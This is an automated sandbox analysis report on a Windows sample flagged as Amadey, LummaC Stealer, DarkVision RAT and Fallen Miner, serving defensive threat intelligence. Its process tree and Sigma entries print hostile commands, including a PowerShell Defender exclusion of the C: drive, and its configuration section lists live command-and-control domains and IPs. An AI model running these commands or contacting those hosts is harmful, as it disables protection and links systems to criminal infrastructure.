Edit tour

Windows Analysis Report
13s1HMkHKv.exe

Overview

General Information

Sample name:	13s1HMkHKv.exe renamed because original name is a hash value
Original sample name:	f48ff9bc196aad68da3d4376c9649d9f.exe
Analysis ID:	1636853
MD5:	f48ff9bc196aad68da3d4376c9649d9f
SHA1:	6e322f4efcc330514595db2b0d4b9c46f0947fa9
SHA256:	11195c6b0d9981a94bdab08b52d714a2298e4e0bf98a613d62179bef8a701d00
Tags:	exeuser-abuse_ch
Infos:

Detection

Amadey, DarkVision Rat, Fallen Miner, LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys Clipper DLL

Yara detected DarkVision Rat

Yara detected Fallen Miner

Yara detected LummaC Stealer

Yara detected UAC Bypass using CMSTP

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Contains functionality to start a terminal service

Creates autostart registry keys with suspicious names

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Loading BitLocker PowerShell Module

Maps a DLL or memory area into another process

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Binaries Write Suspicious Extensions

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade analysis by execution special instruction (VM detection)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Creates job files (autostart)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Spawns drivers

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

13s1HMkHKv.exe (PID: 6756 cmdline: "C:\Users\user\Desktop\13s1HMkHKv.exe" MD5: F48FF9BC196AAD68DA3D4376C9649D9F)

rapes.exe (PID: 5860 cmdline: "C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe" MD5: F48FF9BC196AAD68DA3D4376C9649D9F)

rapes.exe (PID: 5288 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: F48FF9BC196AAD68DA3D4376C9649D9F)

rapes.exe (PID: 7960 cmdline: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe MD5: F48FF9BC196AAD68DA3D4376C9649D9F)

s7MG2VL.exe (PID: 8140 cmdline: "C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe" MD5: 1255E23EA313BB1A6E71D78B2F829262)

ZqkKpwG.exe (PID: 412 cmdline: "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe" MD5: 73932EB7D7DF842D5F358700626BE68C)

conhost.exe (PID: 2116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ZqkKpwG.exe (PID: 6364 cmdline: "C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe" MD5: 73932EB7D7DF842D5F358700626BE68C)

WerFault.exe (PID: 7196 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 412 -s 404 MD5: C31336C1EFC2CCB44B4326EA793040F2)

eAzoDbY.exe (PID: 1416 cmdline: "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe" MD5: 2002FDF412315D31FCDF5B6ACBCAA53C)

conhost.exe (PID: 1420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

eAzoDbY.exe (PID: 7668 cmdline: "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe" MD5: 2002FDF412315D31FCDF5B6ACBCAA53C)

eAzoDbY.exe (PID: 7660 cmdline: "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe" MD5: 2002FDF412315D31FCDF5B6ACBCAA53C)

eAzoDbY.exe (PID: 4224 cmdline: "C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe" MD5: 2002FDF412315D31FCDF5B6ACBCAA53C)

WerFault.exe (PID: 2108 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1416 -s 408 MD5: C31336C1EFC2CCB44B4326EA793040F2)

8sb9w_003.exe (PID: 4840 cmdline: "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe" MD5: 0571EBBB85445ED7C252D71B63A91F4E)

cmd.exe (PID: 7356 cmdline: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:' MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1868 cmdline: powershell.exe Add-MpPreference -ExclusionPath 'C:' MD5: 04029E121A0CFA5991749937DD22A1D9)

svchost.exe (PID: 4260 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 3284 cmdline: C:\Windows\system32\cmd.exe /c ""C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.bat" """ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ps.exe (PID: 3616 cmdline: "C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe" "" MD5: 5E41FCBF3434B7408FE70D6D81A943B1)

powershell.exe (PID: 3232 cmdline: powershell Add-MpPreference -ExclusionPath C:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5052 cmdline: powershell Remove-MpPreference -ExclusionPath C:\ MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cls.exe (PID: 596 cmdline: "C:\Users\user\AppData\Local\Temp\\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe" "{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}" MD5: B9032767E054F3F99104B5B9D7E597C7)

yo7qmvz.exe (PID: 2240 cmdline: "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe" MD5: 898521D79EBB6A67D80237F286E25177)

yo7qmvz.exe (PID: 2828 cmdline: "C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe" MD5: 898521D79EBB6A67D80237F286E25177)

st22BJg.exe (PID: 6620 cmdline: "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe" MD5: DBD46D6A4A15FAED18B20BE54BF49B40)

conhost.exe (PID: 1664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 748 cmdline: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe" MD5: A47CBE969EA935BDD3AB568BB126BC80)

file.exe (PID: 2724 cmdline: "C:\Users\user\AppData\Local\Temp\file.exe" MD5: BCF10E3C07383D9400F0FA98F3F999D5)

ShortcutTaskAgent.exe (PID: 7764 cmdline: "C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe" MD5: 7700F61BECA60DB53658C52A05B01941)

ShortcutTaskAgent.exe (PID: 5068 cmdline: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe MD5: 7700F61BECA60DB53658C52A05B01941)

cmd.exe (PID: 4560 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EZs3CZC.exe (PID: 4216 cmdline: "C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe" MD5: C6067CD3B970C7F932F73F4084DF78E8)

dx3hXS1.exe (PID: 3592 cmdline: "C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe" MD5: 74870B85AC926C53E0EAF2C42265B939)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Malware Configuration

Threatname: LummaC

{"C2 url": ["citydisco.bet/gdJIS", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"], "Build id": "ddf4bb21335e58d5b0f7d6461dc868d9f8edb80615c104e1b714"}

Threatname: Amadey

{"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}

Threatname: DarkVision Rat

{"C2": "82.29.67.160", "Port": 443}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\EZs3CZC[1].exe	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000023.00000002.2466972573.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000023.00000003.2241106729.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.2019127027.000000000105D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.2039011701.0000000000434000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001C.00000002.2039011701.0000000000434000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001F.00000002.2469971107.000001DBE2788000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001F.00000002.2469971107.000001DBE2788000.00000002.00001000.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000B.00000002.2465023881.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0000001C.00000002.2039794527.0000000000836000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
0000001C.00000002.2039794527.0000000000836000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000002.2101604103.000000000096D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000003.00000002.1263210409.0000000000221000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
00000011.00000002.2464880646.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000023.00000003.2268488347.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1235519901.0000000000A41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Process Memory Space: s7MG2VL.exe PID: 8140	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: s7MG2VL.exe PID: 8140	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: ZqkKpwG.exe PID: 6364	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZqkKpwG.exe PID: 6364	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: eAzoDbY.exe PID: 4224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eAzoDbY.exe PID: 4224	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8sb9w_003.exe PID: 4840	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: 8sb9w_003.exe PID: 4840	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: svchost.exe PID: 4260	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
Process Memory Space: svchost.exe PID: 4260	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: yo7qmvz.exe PID: 2828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yo7qmvz.exe PID: 2828	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
decrypted.memstr	JoeSecurity_Amadey_4	Yara detected Amadey	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
35.2.yo7qmvz.exe.400000.1.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
17.2.ZqkKpwG.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
35.2.yo7qmvz.exe.400000.1.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
11.2.rapes.exe.220000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
0.2.13s1HMkHKv.exe.a40000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
28.2.8sb9w_003.exe.400000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
28.2.8sb9w_003.exe.400000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
28.2.8sb9w_003.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x32a31:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x32971:$s1: CoGetObject 0x329f9:$s2: Elevation:Administrator!new:
31.2.svchost.exe.1dbe2750000.0.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
31.2.svchost.exe.1dbe2750000.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
31.2.svchost.exe.1dbe2750000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ee8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36e18:$s1: CoGetObject 0x36eb0:$s2: Elevation:Administrator!new:
4.2.rapes.exe.220000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
3.2.rapes.exe.220000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
17.2.ZqkKpwG.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
28.2.8sb9w_003.exe.83afc8.1.raw.unpack	JoeSecurity_DarkVisionRat	Yara detected DarkVision Rat	Joe Security
28.2.8sb9w_003.exe.83afc8.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
28.2.8sb9w_003.exe.83afc8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x36ee8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36e18:$s1: CoGetObject 0x36eb0:$s2: Elevation:Administrator!new:
28.2.8sb9w_003.exe.83afc8.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
28.2.8sb9w_003.exe.83afc8.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x362e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x36218:$s1: CoGetObject 0x362b0:$s2: Elevation:Administrator!new:
50.2.EZs3CZC.exe.b00000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
50.0.EZs3CZC.exe.b00000.0.unpack	JoeSecurity_FallenMiner	Yara detected Fallen Miner	Joe Security
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:', CommandLine: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:', CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe, ParentProcessId: 4840, ParentProcessName: 8sb9w_003.exe, ProcessCommandLine: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:', ProcessId: 7356, ProcessName: cmd.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe, ParentProcessId: 6620, ParentProcessName: st22BJg.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", ProcessId: 748, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe, ParentProcessId: 6620, ParentProcessName: st22BJg.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", ProcessId: 748, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe, ParentProcessId: 6620, ParentProcessName: st22BJg.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", ProcessId: 748, ProcessName: wscript.exe

Sigma detected: Windows Binaries Write Suspicious Extensions

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\svchost.exe, ProcessId: 4260, TargetFilename: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.bat

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\{044B9118-D09F-44DE-8820-983AA965DB95}\dmcertinst.exe {65ECE49D-E44B-4E45-9F95-675677E13036}, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\svchost.exe, ProcessId: 4260, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{F1A8D70E-81F9-4200-B46C-ECA432751942}

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe, ParentProcessId: 4840, ParentProcessName: 8sb9w_003.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 4260, ProcessName: svchost.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe, ParentProcessId: 6620, ParentProcessName: st22BJg.exe, ProcessCommandLine: "C:\Windows\System32\wscript.exe" "C:\Users\user\AppData\Local\Temp\pack82.vbe", ProcessId: 748, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Add-MpPreference -ExclusionPath 'C:', CommandLine: powershell.exe Add-MpPreference -ExclusionPath 'C:', CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:', ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe Add-MpPreference -ExclusionPath 'C:', ProcessId: 1868, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe, ParentProcessId: 4840, ParentProcessName: 8sb9w_003.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 4260, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T08:08:16.568202+0100	2028371	3	Unknown Traffic	192.168.2.6	61662	188.114.96.3	443	TCP
2025-03-13T08:08:19.411692+0100	2028371	3	Unknown Traffic	192.168.2.6	61664	188.114.96.3	443	TCP
2025-03-13T08:08:21.176420+0100	2028371	3	Unknown Traffic	192.168.2.6	61665	188.114.96.3	443	TCP
2025-03-13T08:08:22.167222+0100	2028371	3	Unknown Traffic	192.168.2.6	61666	188.114.96.3	443	TCP
